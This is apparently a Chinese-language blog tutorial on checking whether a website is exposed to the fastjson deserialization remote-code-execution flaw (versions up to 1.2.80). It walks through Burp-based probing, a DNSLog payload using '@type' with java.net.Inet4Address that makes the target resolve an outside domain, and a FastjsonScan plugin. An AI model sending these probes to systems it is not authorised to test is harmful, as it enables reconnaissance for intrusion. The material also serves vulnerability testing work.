验证网站是否存在fastjson漏洞的方法~~

一、fastjson简介

        fastjson是java的一个库,可以使java对象和json格式的字符串相互转换。序列化是将java对象转为为json格式的字符串,反序列化就是将json格式的字符串转为java对象。

二、漏洞简介

        fastjson在解析json的过程中,会自动调用@type指定类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

三、漏洞详情

        组件名称:fastjson

        影响版本:fastjson<=1.2.80

        漏洞类型:远程任意代码执行

四、漏洞探测

1、根据返回包判断

        任意抓包,将提交方式改为POST。返回包就会出现fastjson字样。

2、修改请求包

        用burp抓包,将发送方式改为post,更改类型为json,添加json格式的字符串,可以看到返回包中成功了。

1
2
3
4
5
6
7
8
POST

Content-Type: application/json

{
"age":25,
"name":"Bl2e"
}

3、利用dnslog平台

        修改请求包,将GET方法改为POST,更改类型为json,添加json格式的字符串:

1
2
3
4
5
POST

Content-Type: application/json

{"zeo":{"@type":"java.net.Inet4Address","val":"6xyymf.dnslog.cn"}}  //val替换成自己获取到的dnslog

        发送之后,在dnslog平台上refresh record 可以成功得到值,说明存在漏洞。

4、利用burp插件

        burp插件下载:https://github.com/Maskhe/FastjsonScan/releases

        注意:该插件只检测传输ison数据格式的数据包,所以数据包中如果没有ison数据需要自行添加。发送无json数据的数据包会提示not supported 不会开始检测。

        抓包修改为以POST方式请求,添加ison格式的数据,右键发送给插件。

        插件成功识别,开始检测漏洞。如果存在漏洞,会在request请求包中显示payload。如果没有漏洞,会展示原始的请求与响应。